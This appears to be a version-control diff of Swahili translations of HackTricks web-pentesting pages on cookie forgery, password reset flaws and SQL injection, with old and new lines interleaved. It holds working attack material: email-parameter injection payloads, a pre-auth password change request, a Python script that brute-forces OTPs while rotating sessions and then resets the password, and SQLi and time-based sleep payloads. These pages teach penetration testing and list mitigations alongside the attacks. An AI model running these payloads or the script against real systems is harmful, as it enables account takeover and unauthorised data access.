1. Pata saini ya jina la mtumiaji **administ** = **t**
2. Pata saini ya jina la mtumiaji **rator\x00\x00\x00 XOR t** = **t'**
3. Weka katika cookie thamani **administrator+t'** (**t'** itakuwa saini halali ya **(rator\x00\x00\x00 XOR t) XOR t** = **rator\x00\x00\x00**
1. Pata saini ya username **administ** = **t**
2. Pata saini ya username **rator\x00\x00\x00 XOR t** = **t'**
3. Weka kwenye cookie thamani **administrator+t'** (**t'** itakuwa saini halali ya **(rator\x00\x00\x00 XOR t) XOR t** = **rator\x00\x00\x00**
**ECB**
Ikiwa cookie imefungwa kwa kutumia ECB inaweza kuwa na hatari.\
Wakati unapoingia, cookie unayopokea inapaswa kuwa kila wakati sawa.
Ikiwa cookie imesimbwa kwa kutumia ECB inaweza kuwa dhaifu.\
Wakati unajiunga cookie unayopokea inapaswa kuwa daima ile ile.
**Jinsi ya kugundua na kushambulia:**
Unda watumiaji 2 wenye takwimu karibu sawa (jina la mtumiaji, nenosiri, barua pepe, nk.) na jaribu kugundua muundo wowote ndani ya cookie iliyotolewa.
Unda watumiaji 2 wenye data karibu sawa (username, password, email, n.k.) na jaribu kugundua muundo fulani ndani ya cookie iliyotolewa.
Unda mtumiaji anayeitwa kwa mfano "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" na angalia ikiwa kuna muundo wowote katika cookie (kama ECB inasimbwa kwa kutumia funguo sawa kila block, bytes sawa zilizofungwa zinaweza kuonekana ikiwa jina la mtumiaji linapangiliwa).
Unda mtumiaji kwa mfano "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" na angalia kama kuna muundo wowote kwenye cookie (kwa kuwa ECB inasimba kila block kwa kutumia funguo ile ile, bait zilizosimbwa zinaweza kuonekana ikiwa username inasimbwa).
Inapaswa kuwa na muundo (kwa ukubwa wa block inayotumika). Hivyo, ukijua jinsi kundi la "a" linavyosimbwa unaweza kuunda jina la mtumiaji: "a"\*(ukubwa wa block)+"admin". Kisha, unaweza kufuta muundo wa kusimbwa wa block ya "a" kutoka kwa cookie. Na utakuwa na cookie ya jina la mtumiaji "admin".
Kutakuwa na muundo (wa ukubwa wa block inayotumika). Kwa hivyo, ukijua jinsi kundi la "a" linavyosimbwa unaweza kuunda username: "a"\*(ukubwa wa block)+"admin". Kisha, unaweza kufuta muundo uliosimbwa wa block ya "a" kutoka kwenye cookie. Na utapata cookie ya username "admin".
## Marejeo
## References
- [https://blog.ankursundara.com/cookie-bugs/](https://blog.ankursundara.com/cookie-bugs/)
- [https://www.linkedin.com/posts/rickey-martin-24533653_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd](https://www.linkedin.com/posts/rickey-martin-24533653_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd)
- [https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie](https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie)
- [https://seclists.org/webappsec/2006/q2/181](https://seclists.org/webappsec/2006/q2/181)
- [https://www.michalspacek.com/stealing-session-ids-with-phpinfo-and-how-to-stop-it](https://www.michalspacek.com/stealing-session-ids-with-phpinfo-and-how-to-stop-it)
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
{{#include ../../banners/hacktricks-training.md}}

240
src/pentesting-web/reset-password.md
View File

@ -4,178 +4,179 @@
## **Password Reset Token Leak Via Referrer**
- Header ya HTTP referer inaweza kuvuja token ya kurekebisha nenosiri ikiwa imejumuishwa katika URL. Hii inaweza kutokea wakati mtumiaji anapobofya kiungo cha tovuti ya mtu wa tatu baada ya kuomba kurekebisha nenosiri.
- **Impact**: Uwezekano wa kuchukua akaunti kupitia mashambulizi ya Cross-Site Request Forgery (CSRF).
- **Exploitation**: Ili kuangalia ikiwa token ya kurekebisha nenosiri inavuja katika header ya referer, **omba kurekebisha nenosiri** kwa anwani yako ya barua pepe na **bofya kiungo cha kurekebisha** kilichotolewa. **Usibadilishe nenosiri lako** mara moja. Badala yake, **tembelea tovuti ya mtu wa tatu** (kama Facebook au Twitter) wakati **ukikamata maombi kwa kutumia Burp Suite**. Kagua maombi ili kuona ikiwa **header ya referer ina token ya kurekebisha nenosiri**, kwani hii inaweza kufichua taarifa nyeti kwa watu wa tatu.
- **References**:
- The HTTP referer header may leak the password reset token if it's included in the URL. This can occur when a user clicks on a third-party website link after requesting a password reset.
- **Athari**: Inawezekana takeover ya akaunti kupitia Cross-Site Request Forgery (CSRF) attacks.
- **Utekelezaji**: Ili kuhakikisha kama password reset token ina leak kwenye referer header, **omba password reset** kwa anwani yako ya barua pepe na **bonyeza reset link** uliopokea. **Usibadilishe nenosiri lako** mara moja. Badala yake, **nenda kwenye tovuti ya mtu wa tatu** (kama Facebook au Twitter) huku **ukikamata maombi ukitumia Burp Suite**. Kagua maombi kuona kama **referer header ina password reset token**, kwani hili linaweza kufichua taarifa nyeti kwa wadau wa tatu.
- **Marejeo**:
- [HackerOne Report 342693](https://hackerone.com/reports/342693)
- [HackerOne Report 272379](https://hackerone.com/reports/272379)
- [Password Reset Token Leak Article](https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a)
## **Password Reset Poisoning**
- Washambuliaji wanaweza kubadilisha header ya Host wakati wa maombi ya kurekebisha nenosiri ili kuelekeza kiungo cha kurekebisha kwenye tovuti mbaya.
- **Impact**: Inasababisha uwezekano wa kuchukua akaunti kwa kuvuja token za kurekebisha kwa washambuliaji.
- **Mitigation Steps**:
- Thibitisha header ya Host dhidi ya orodha ya domain zinazoruhusiwa.
- Tumia mbinu salama, za upande wa seva ili kuunda URLs kamili.
- **Patch**: Tumia `$_SERVER['SERVER_NAME']` kuunda URLs za kurekebisha nenosiri badala ya `$_SERVER['HTTP_HOST']`.
- **References**:
- Washambuliaji wanaweza kubadilisha Host header wakati wa maombi ya password reset ili kuelekeza reset link kwenye tovuti hatari.
- **Athari**: Inaweza kusababisha takeover ya akaunti kwa leaking reset tokens kwa washambuliaji.
- **Hatua za Uzuiaji**:
- Thibitisha Host header dhidi ya whitelist ya domain zilizoruhusiwa.
- Tumia mbinu salama za server-side kutengeneza absolute URLs.
- **Patch**: Tumia `$_SERVER['SERVER_NAME']` kujenga password reset URLs badala ya `$_SERVER['HTTP_HOST']`.
- **Marejeo**:
- [Acunetix Article on Password Reset Poisoning](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
## **Password Reset By Manipulating Email Parameter**
Washambuliaji wanaweza kubadilisha ombi la kurekebisha nenosiri kwa kuongeza vigezo vya barua pepe vya ziada ili kuhamasisha kiungo cha kurekebisha.
Attackers can manipulate the password reset request by adding additional email parameters to divert the reset link.
- Ongeza barua pepe ya mshambuliaji kama parameter ya pili kwa kutumia &
- Add attacker email as second parameter using &
```php
POST /resetPassword
[...]
email=victim@email.com&email=attacker@email.com
```
- Ongeza barua pepe ya mshambuliaji kama parameter ya pili ukitumia %20
- Ongeza barua pepe ya mshambuliaji kama kiparameta cha pili ukitumia %20
```php
POST /resetPassword
[...]
email=victim@email.com%20email=attacker@email.com
```
- Ongeza barua pepe ya mshambuliaji kama parameter ya pili ukitumia |
- Ongeza attacker email kama parameter ya pili ukitumia |
```php
POST /resetPassword
[...]
email=victim@email.com|email=attacker@email.com
```
- Ongeza barua pepe ya mshambuliaji kama parameter ya pili kwa kutumia cc
- Ongeza attacker email kama kigezo cha pili ukitumia cc
```php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
```
- Ongeza barua pepe ya mshambuliaji kama parameter ya pili kwa kutumia bcc
- Ongeza barua pepe ya attacker kama parameta ya pili ukitumia bcc
```php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
```
- Ongeza barua pepe ya mshambuliaji kama parameter ya pili kwa kutumia ,
Ongeza attacker email kama kigezo cha pili ukitumia ,
```php
POST /resetPassword
[...]
email="victim@mail.tld",email="attacker@mail.tld"
```
- Ongeza barua pepe ya mshambuliaji kama parameter ya pili katika array ya json
- Ongeza attacker email kama parameta ya pili katika json array
```php
POST /resetPassword
[...]
{"email":["victim@mail.tld","atracker@mail.tld"]}
```
- **Hatua za Kupunguza**:
- Panga na kuthibitisha vigezo vya barua pepe upande wa seva.
- Tumia taarifa zilizopangwa au maswali yenye vigezo ili kuzuia mashambulizi ya kuingiza.
- **Hatua za Kupunguza Hatari**:
- Chambua na thibitisha vigezo vya barua pepe upande wa serveri ipasavyo.
- Tumia prepared statements au parameterized queries ili kuzuia injection attacks.
- **Marejeo**:
- [https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be](https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be)
- [https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/](https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/)
- [https://twitter.com/HusseiN98D/status/1254888748216655872](https://twitter.com/HusseiN98D/status/1254888748216655872)
## **Kubadilisha Barua Pepe na Nenosiri la Mtumiaji yeyote kupitia Vigezo vya API**
## **Kubadilisha barua pepe na nenosiri ya mtumiaji yeyote kupitia vigezo vya API**
- Washambuliaji wanaweza kubadilisha vigezo vya barua pepe na nenosiri katika maombi ya API ili kubadilisha taarifa za akaunti.
- Wavamizi wanaweza kubadilisha vigezo vya barua pepe na nenosiri katika maombi ya API ili kubadilisha nyaraka za kuingia za akaunti.
```php
POST /api/changepass
[...]
("form": {"email":"victim@email.tld","password":"12345678"})
```
- **Hatua za Kupunguza**:
- Hakikisha uthibitisho mkali wa vigezo na ukaguzi wa uthibitisho.
- Tekeleza ufuatiliaji na kumbukumbu thabiti ili kugundua na kujibu shughuli za kushuku.
- **Hatua za Kupunguza Hatari**:
- Hakikisha ukaguzi mkali wa vigezo na ukaguzi wa uthibitisho.
- Tekeleza logging na ufuatiliaji imara ili kugundua na kujibu shughuli zenye mashaka.
- **Marejeo**:
- [Uchukue Akaunti Kamili kupitia Ubadilishaji wa Vigezo vya API](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240)
- [Full Account Takeover via API Parameter Manipulation](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240)
## **Hakuna Kizuizi cha Kiwango: Barua Pepe ya Kumbukumbu**
## **Hakuna Rate Limiting: Email Bombing**
- Ukosefu wa kizuizi cha kiwango kwenye maombi ya kurekebisha nenosiri kunaweza kusababisha barua pepe nyingi, kumzidisha mtumiaji barua pepe za kurekebisha.
- **Hatua za Kupunguza**:
- Tekeleza kizuizi cha kiwango kulingana na anwani ya IP au akaunti ya mtumiaji.
- Tumia changamoto za CAPTCHA kuzuia matumizi ya kiotomatiki.
- Ukosefu wa rate limiting kwenye maombi ya password reset kunaweza kusababisha Email Bombing, kumwaga mtumiaji kwa barua pepe nyingi za reset.
- **Hatua za Kupunguza Hatari**:
- Tekeleza rate limiting kulingana na IP address au akaunti ya mtumiaji.
- Tumia CAPTCHA challenges ili kuzuia matumizi ya kiotomatiki.
- **Marejeo**:
- [Ripoti ya HackerOne 280534](https://hackerone.com/reports/280534)
- [HackerOne Report 280534](https://hackerone.com/reports/280534)
## **Jifunze Jinsi Token ya Kurekebisha Nenosiri Inavyotengenezwa**
## **Gundua Jinsi Password Reset Token Inavyotengenezwa**
- Kuelewa muundo au njia nyuma ya uzalishaji wa token kunaweza kusababisha kutabiri au kujaribu nguvu token. Chaguzi kadhaa:
- Kulingana na Wakati
- Kulingana na UserID
- Kulingana na barua pepe ya Mtumiaji
- Kulingana na Jina la Kwanza na Jina la Mwisho
- Kulingana na Tarehe ya Kuzaliwa
- Kulingana na Cryptography
- **Hatua za Kupunguza**:
- Tumia mbinu thabiti za kisasa za uzalishaji wa token.
- Hakikisha kutokuwa na utabiri na urefu wa kutosha ili kuzuia utabiri.
- **Zana**: Tumia Burp Sequencer kuchambua kutokuwa na utabiri kwa token.
- Kuelewa muundo au mbinu nyuma ya token generation kunaweza kusababisha utabiri au brute-forcing ya token. Baadhi ya chaguo:
- Based Timestamp
- Based on the UserID
- Based on email of User
- Based on Firstname and Lastname
- Based on Date of Birth
- Based on Cryptography
- **Hatua za Kupunguza Hatari**:
- Tumia mbinu za cryptographic zenye nguvu kwa token generation.
- Hakikisha upatikanaji wa randomness na urefu wa kutosha ili kuzuia utabiri.
- **Tools**: Tumia Burp Sequencer kuchambua randomness ya tokens.
## **UUID Inayoweza Kukisiwa**
## **Guessable UUID**
- Kama UUIDs (version 1) zinaweza kutabiriwa, wadukuzi wanaweza kuzifanyia brute-force ili kuzalisha reset tokens halali. Angalia:
- Ikiwa UUIDs (toleo 1) zinaweza kukisiwa au kutabirika, washambuliaji wanaweza kujaribu nguvu ili kuzalisha token za kurekebisha halali. Angalia:
{{#ref}}
uuid-insecurities.md
{{#endref}}
- **Hatua za Kupunguza**:
- Tumia toleo la GUID 4 kwa kutokuwa na utabiri au tekeleza hatua za ziada za usalama kwa matoleo mengine.
- **Zana**: Tumia [guidtool](https://github.com/intruder-io/guidtool) kwa uchambuzi na uzalishaji wa GUIDs.
- **Hatua za Kupunguza Hatari**:
- Tumia GUID version 4 kwa randomness au tekeleza hatua za ziada za usalama kwa versions nyingine.
- **Tools**: Tumia [guidtool](https://github.com/intruder-io/guidtool) kwa kuchambua na kuzalisha GUIDs.
## **Manipulering ya Majibu: Badilisha Jibu Mbaya na Jibu Nzuri**
## **Response Manipulation: Replace Bad Response With Good One**
- Kubadilisha majibu ya HTTP ili kupita ujumbe wa makosa au vizuizi.
- **Hatua za Kupunguza**:
- Tekeleza ukaguzi wa upande wa seva ili kuhakikisha uaminifu wa majibu.
- Tumia njia salama za mawasiliano kama HTTPS kuzuia mashambulizi ya mtu katikati.
- Kukandamiza HTTP responses ili kupita ujumbe wa makosa au vizuizi.
- **Hatua za Kupunguza Hatari**:
- Tekeleza ukaguzi upande wa server ili kuhakikisha uadilifu wa response.
- Tumia njia salama za mawasiliano kama HTTPS ili kuzuia man-in-the-middle attacks.
- **Marejeo**:
- [Kosa Muhimu katika Tukio la Bug Bounty la Moja kwa Moja](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3)
- [Critical Bug in Live Bug Bounty Event](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3)
## **Kutumia Token Iliyokwisha Muda**
## **Using Expired Token**
- Kuangalia ikiwa token zilizokwisha muda bado zinaweza kutumika kwa ajili ya kurekebisha nenosiri.
- **Hatua za Kupunguza**:
- Tekeleza sera kali za kumalizika kwa token na kuthibitisha kumalizika kwa token upande wa seva.
- Kujaribu kama expired tokens bado zinaweza kutumika kwa password reset.
- **Hatua za Kupunguza Hatari**:
- Tekeleza sera kali za kuisha kwa token na thibitisha muda wa kuisha upande wa server.
## **Jaribio la Nenosiri la Kurekebisha Token**
## **Brute Force Password Reset Token**
- Kujaribu kujaribu nguvu token ya kurekebisha kwa kutumia zana kama Burpsuite na IP-Rotator ili kupita vizuizi vya kiwango kulingana na IP.
- **Hatua za Kupunguza**:
- Tekeleza kizuizi thabiti cha kiwango na mifumo ya kufunga akaunti.
- Fuata shughuli za kushuku zinazoweza kuashiria mashambulizi ya kujaribu nguvu.
- Kujaribu brute-force reset token kwa kutumia zana kama Burpsuite na IP-Rotator ili kupita rate limits za IP.
- **Hatua za Kupunguza Hatari**:
- Tekeleza rate-limiting imara na mifumo ya kufunga akaunti.
- Fuatilia shughuli zenye mashaka zinazoashiria mashambulizi ya brute-force.
## **Jaribu Kutumia Token Yako**
## **Try Using Your Token**
- Kuangalia ikiwa token ya kurekebisha ya mshambuliaji inaweza kutumika pamoja na barua pepe ya mwathirika.
- **Hatua za Kupunguza**:
- Hakikisha kwamba token zimefungwa kwa kikao cha mtumiaji au sifa nyingine maalum za mtumiaji.
- Kujaribu kama reset token ya mshambuliaji inaweza kutumika pamoja na email ya mwathiriwa.
- **Hatua za Kupunguza Hatari**:
- Hakikisha token zimefungwa na session ya mtumiaji au sifa nyingine zinazohusiana na mtumiaji.
## **Ubatilishaji wa Kikao katika Kutoka/Kurekebisha Nenosiri**
## **Session Invalidation in Logout/Password Reset**
- Hakikisha kwamba vikao vinabatilishwa wakati mtumiaji anapotoka au kurekebisha nenosiri yao.
- **Hatua za Kupunguza**:
- Tekeleza usimamizi mzuri wa kikao, kuhakikisha kwamba vikao vyote vinabatilishwa wakati wa kutoka au kurekebisha nenosiri.
- Kuhakikisha session zinavunjwa wakati mtumiaji anatoa logout au anarekebisha password yake.
- **Hatua za Kupunguza Hatari**:
- Tekeleza usimamizi sahihi wa session, kuhakikisha kwamba session zote zinavunjwa baada ya logout au password reset.
## **Ubatilishaji wa Kikao katika Kutoka/Kurekebisha Nenosiri**
## **Session Invalidation in Logout/Password Reset**
- Token za kurekebisha zinapaswa kuwa na muda wa kumalizika baada ya hapo zinakuwa zisizo halali.
- **Hatua za Kupunguza**:
- Weka muda wa kumalizika unaofaa kwa token za kurekebisha na utekekeleze kwa ukali upande wa seva.
- Reset tokens zinapaswa kuwa na muda wa kumalizika baada yake zinakuwa batili.
- **Hatua za Kupunguza Hatari**:
- Weka muda wa kumalizika unaofaa kwa reset tokens na utekeleze kwa ukali upande wa server.
## **Kupita Kizuizi cha kiwango cha OTP kwa kubadilisha kikao chako**
## **OTP rate limit bypass by changing your session**
- Ikiwa tovuti inatumia kikao cha mtumiaji kufuatilia majaribio mabaya ya OTP na OTP ilikuwa dhaifu ( <= 4 digits) basi tunaweza kwa ufanisi kujaribu nguvu OTP.
- **kuvamia**:
- omba tu token mpya ya kikao baada ya kuzuia na seva.
- **Mfano** wa msimbo unaovamia kosa hili kwa kukisia kwa bahati nasibu OTP (wakati unabadilisha kikao, OTP itabadilika pia, na hivyo hatutakuwa na uwezo wa kujaribu nguvu kwa mpangilio!):
- Ikiwa tovuti inatumia session ya mtumiaji kufuatilia jaribio mbaya za OTP na OTP ilikuwa dhaifu (<= 4 digits) basi tunaweza kufanya brute-force ya OTP kwa ufanisi.
- **Utekelezaji**:
- Omba tu session token mpya baada ya kuzuia na server.
- **Mfano** code inayo-exploit mdudu huu kwa kukisia OTP kwa nasibu (wakati unabadilisha session OTP itabadilika pia, hivyo hatutaweza kuifanya brute-force kwa mfululizo!):
``` python
# Uhamasishaji wa uthibitisho kwa kurekebisha nenosiri
# na coderMohammed
# Authentication bypass by password reset
# by coderMohammed
import requests
import random
from time import sleep
@ -192,46 +193,83 @@ parms = dict()
ter = 0
phpsessid = ""
print("[+] Kuanzisha shambulio!")
print("[+] Starting attack!")
sleep(3)
print("[+] Hii inaweza kuchukua takriban dakika 5 kumaliza!")
print("[+] This might take around 5 minutes to finish!")
try:
while True:
parms["recovery_code"] = f"{random.randint(0, 9999):04}" # nambari ya bahati nasibu kutoka 0 - 9999 na 4 d
parms["s"] = 164 # si muhimu inathiri tu mbele
parms["recovery_code"] = f"{random.randint(0, 9999):04}" # random number from 0 - 9999 with 4 d
parms["s"] = 164 # not important it only efects the frontend
res = requests.post(url, data=parms, allow_redirects=True, verify=False, headers=headers)
if ter == 8: # fuata idadi ya majaribio
out = requests.get(logout,headers=headers) # kukutoa
mainp = requests.get(root) # inapata phpssid nyingine (token)
if ter == 8: # follow number of trails
out = requests.get(logout,headers=headers) # log u out
mainp = requests.get(root) # gets another phpssid (token)
cookies = out.cookies # toa sessionid
cookies = out.cookies # extract the sessionid
phpsessid = cookies.get('PHPSESSID')
headers["cookies"]=f"PHPSESSID={phpsessid}" # sasisha vichwa vya habari na kikao kipya
headers["cookies"]=f"PHPSESSID={phpsessid}" #update the headers with new session
reset = requests.post(url, data={"email":"tester@hammer.thm"}, allow_redirects=True, verify=False, headers=headers) # inatuma barua pepe kubadilisha nenosiri kwa
ter = 0 # rejesha ter ili tupate kikao kipya baada ya majaribio 8
reset = requests.post(url, data={"email":"tester@hammer.thm"}, allow_redirects=True, verify=False, headers=headers) # sends the email to change the password for
ter = 0 # reset ter so we get a new session after 8 trails
else:
ter += 1
if(len(res.text) == 2292): # hii ni urefu wa ukurasa unapopata nambari ya urejelezi kwa usahihi (imepata kwa majaribio)
print(len(res.text)) # kwa habari ya debug
if(len(res.text) == 2292): # this is the length of the page when u get the recovery code correctly (got by testing)
print(len(res.text)) # for debug info
print(phpsessid)
reset_data = { # hapa tutabadilisha nenosiri kuwa kitu kipya
reset_data = { # here we will change the password to somthing new
"new_password": "D37djkamd!",
"confirm_password": "D37djkamd!"
}
reset2 = requests.post(url, data=reset_data, allow_redirects=True, verify=False, headers=headers)
print("[+] Nenosiri limebadilishwa kuwa:D37djkamd!")
print("[+] Password has been changed to:D37djkamd!")
break
except Exception as e:
print("[+] Shambulio limekoma")
print("[+] Attck stopped")
```
## Arbitrary password reset via skipOldPwdCheck (pre-auth)
Baadhi ya utekelezaji huweka wazi action ya password change ambayo inaita rutini ya password-change na skipOldPwdCheck=true na haitathibitishi token yoyote ya reset au umiliki. Ikiwa endpoint inakubali parameter ya action kama change_password na username/password mpya ndani ya request body, mshambuliaji anaweza kureset akaunti yoyote kabla ya kuthibitishwa (pre-auth).
Vulnerable pattern (PHP):
```php
// hub/rpwd.php
RequestHandler::validateCSRFToken();
$RP = new RecoverPwd();
$RP->process($_REQUEST, $_POST);
// modules/Users/RecoverPwd.php
if ($request['action'] == 'change_password') {
$body = $this->displayChangePwd($smarty, $post['user_name'], $post['confirm_new_password']);
}
public function displayChangePwd($smarty, $username, $newpwd) {
$current_user = CRMEntity::getInstance('Users');
$current_user->id = $current_user->retrieve_user_id($username);
// ... criteria checks omitted ...
$current_user->change_password('oldpwd', $_POST['confirm_new_password'], true, true); // skipOldPwdCheck=true
emptyUserAuthtokenKey($this->user_auth_token_type, $current_user->id);
}
```
Ombi la Exploitation (dhana):
```http
POST /hub/rpwd.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
action=change_password&user_name=admin&confirm_new_password=NewP@ssw0rd!
```
Mikakati ya kupunguza hatari:
- Hakikisha kila mara reset token halali, iliyo na muda maalum na iliyounganishwa na account na session inahitajika kabla ya kubadilisha password.
- Usifichue kabisa skipOldPwdCheck paths kwa watumiaji wasiojathibitishwa; lazima utekeleze authentication kwa mabadiliko ya kawaida ya password na uthibitishe password ya zamani.
- Batilisha session zote zinazoendelea na reset tokens zote baada ya mabadiliko ya password.
## Marejeo
- [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token)
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
{{#include ../banners/hacktricks-training.md}}

241
src/pentesting-web/sql-injection/README.md
View File

@ -2,13 +2,13 @@
{{#include ../../banners/hacktricks-training.md}}
## What is SQL injection?
## SQL injection ni nini?
An **SQL injection** ni kasoro ya usalama inayowezesha washambuliaji **kuingilia kati na maswali ya hifadhidata** ya programu. Uthibitisho huu unaweza kuwapa washambuliaji uwezo wa **kuangalia**, **kubadilisha**, au **kufuta** data ambazo hawapaswi kufikia, ikiwa ni pamoja na taarifa za watumiaji wengine au data yoyote ambayo programu inaweza kufikia. Vitendo kama hivyo vinaweza kusababisha mabadiliko ya kudumu katika utendaji au maudhui ya programu au hata kuathiriwa kwa seva au kukatizwa kwa huduma.
An **SQL injection** ni hitilafu ya usalama inayomruhusu washambuliaji **kuingilia maswali ya database** ya programu. Udhaifu huu unaweza kuwapa washambuliaji uwezo wa **kuona**, **kubadilisha**, au **kufuta** data ambazo hawastahili kufikia, ikiwa ni pamoja na taarifa za watumiaji wengine au data yoyote ambayo programu inaweza kufikia. Vitendo hivyo vinaweza kusababisha mabadiliko ya kudumu kwenye utendaji au maudhui ya programu au hata kuathiriwa kwa server au denial of service.
## Entry point detection
## Kugundua vituo vya kuingia
Wakati tovuti inaonekana kuwa **na udhaifu wa SQL injection (SQLi)** kutokana na majibu yasiyo ya kawaida ya seva kwa pembejeo zinazohusiana na SQLi, **hatua ya kwanza** ni kuelewa jinsi ya **kuingiza data katika swali bila kuharibu**. Hii inahitaji kubaini njia ya **kutoroka kutoka kwa muktadha wa sasa** kwa ufanisi. Hizi ni baadhi ya mifano ya manufaa:
Wakati tovuti inaonekana kuwa **dhaifu kwa SQL injection (SQLi)** kutokana na majibu yasiyo ya kawaida ya server kwa input zinazohusiana na SQLi, **hatua ya kwanza** ni kuelewa jinsi ya **kuingiza data katika query bila kuisumbua**. Hii inahitaji kubaini njia ya **kutoroka kutoka kwenye context ya sasa** kwa ufanisi. Hizi ni baadhi ya mifano muhimu:
```
[Nothing]
'
@ -21,11 +21,11 @@ Wakati tovuti inaonekana kuwa **na udhaifu wa SQL injection (SQLi)** kutokana na
"))
`))
```
Kisha, unahitaji kujua jinsi ya **kurekebisha ombi ili kutokuwepo na makosa**. Ili kurekebisha ombi unaweza **kuingiza** data ili **ombile la awali likubali data mpya**, au unaweza tu **kuingiza** data yako na **kuongeza alama ya maoni mwishoni**.
Kisha, unahitaji kujua jinsi ya **kurekebisha query ili isiwe na makosa**. Ili kurekebisha query unaweza **kuingiza** data ili **query ya awali ikubali data mpya**, au unaweza tu **kuingiza** data yako na **kuongeza alama ya comment mwishoni**.
_Kumbuka kwamba ikiwa unaweza kuona ujumbe wa makosa au unaweza kutambua tofauti wakati ombi linafanya kazi na wakati halifanyi kazi hatua hii itakuwa rahisi zaidi._
_Kumbuka kwamba ikiwa unaweza kuona ujumbe wa makosa au kutambua tofauti wakati query inafanya kazi na wakati haifanyi kazi, hatua hii itakuwa rahisi zaidi._
### **Maoni**
### **Comments**
```sql
MySQL
#comment
@ -51,23 +51,23 @@ SQLite
HQL
HQL does not support comments
```
### Kuithibitisha kwa operesheni za kimantiki
### Kuhakikisha kwa **logical operations**
Njia ya kuaminika ya kuthibitisha udhaifu wa SQL injection inahusisha kutekeleza **operesheni ya kimantiki** na kuangalia matokeo yanayotarajiwa. Kwa mfano, parameter ya GET kama `?username=Peter` inayotoa maudhui sawa inapobadilishwa kuwa `?username=Peter' or '1'='1` inaonyesha udhaifu wa SQL injection.
Mbinu yenye kuaminika ya kuthibitisha udhaifu wa SQL injection ni kutekeleza **logical operation** na kuangalia matokeo yanayotarajiwa. Kwa mfano, parameter ya GET kama `?username=Peter` kutoa maudhui sawa inapobadilishwa kuwa `?username=Peter' or '1'='1` inaonyesha kuwepo kwa udhaifu wa SQL injection.
Vivyo hivyo, matumizi ya **operesheni za kihesabu** yanatumika kama mbinu bora ya kuthibitisha. Kwa mfano, ikiwa kufikia `?id=1` na `?id=2-1` kunatoa matokeo sawa, ni dalili ya SQL injection.
Vivyo hivyo, matumizi ya **mathematical operations** hutumika kama mbinu ya uthibitisho yenye ufanisi. Kwa mfano, ikiwa kupata `?id=1` na `?id=2-1` kunatoa matokeo sawa, hiyo inaashiria SQL injection.
Mifano inayoonyesha uthibitisho wa operesheni za kimantiki:
Mifano inayoonyesha uthibitisho wa **logical operation**:
```
page.asp?id=1 or 1=1 -- results in true
page.asp?id=1' or 1=1 -- results in true
page.asp?id=1" or 1=1 -- results in true
page.asp?id=1 and 1=2 -- results in false
```
Orodha hii ya maneno iliundwa kujaribu **kuhakikisha SQLinjections** kwa njia iliyoelezwa:
Orodha ya maneno hii ilitengenezwa kujaribu kuthibitisha **SQLinjections** kwa njia iliyopendekezwa:
<details>
<summary>True SQLi</summary>
<summary>SQLi ya kweli</summary>
```
true
1
@ -154,10 +154,10 @@ true
```
</details>
### Kuithibitisha kwa Muda
### Kuhakiki kwa Muda
Katika baadhi ya matukio **hutagundua mabadiliko yoyote** kwenye ukurasa unaotest. Hivyo, njia nzuri ya **kubaini SQL injections za kipofu** ni kufanya DB ifanye vitendo na itakuwa na **athari kwenye muda** ambao ukurasa unahitaji kupakia.\
Hivyo, tutakuwa na kuunganisha katika ombi la SQL operesheni ambayo itachukua muda mwingi kukamilisha:
Katika baadhi ya matukio **hautagundua mabadiliko yoyote** kwenye ukurasa unaojaribu. Kwa hivyo, njia nzuri ya **gundua blind SQL injections** ni kumfanya DB ifanye vitendo vitakavyokuwa na **athari kwa muda** unaohitajika ukurasa kupakia.\
Kwa hivyo, tutafanya concat kwenye SQL query operesheni itakayochukua muda mrefu kukamilika:
```
MySQL (string concat and logical ops)
1' + sleep(10)
@ -179,11 +179,11 @@ SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
```
Katika baadhi ya matukio **kazi za usingizi hazitaruhusiwa**. Basi, badala ya kutumia kazi hizo unaweza kufanya ombi **kufanya operesheni ngumu** ambazo zitachukua sekunde kadhaa. _Mifano ya mbinu hizi zitajadiliwa tofauti kwenye kila teknolojia (ikiwa ipo)_.
Katika baadhi ya matukio, **sleep functions hazitaruhusiwa**. Kisha, badala ya kutumia functions hizo unaweza kufanya query ifanye **operesheni tata** ambazo zitachukua sekunde kadhaa. _Mifano ya techniques hizi yataelezewa kando kwa kila teknolojia (ikiwa ipo)_.
### Kutambua Nyuma
### Kutambua Back-end
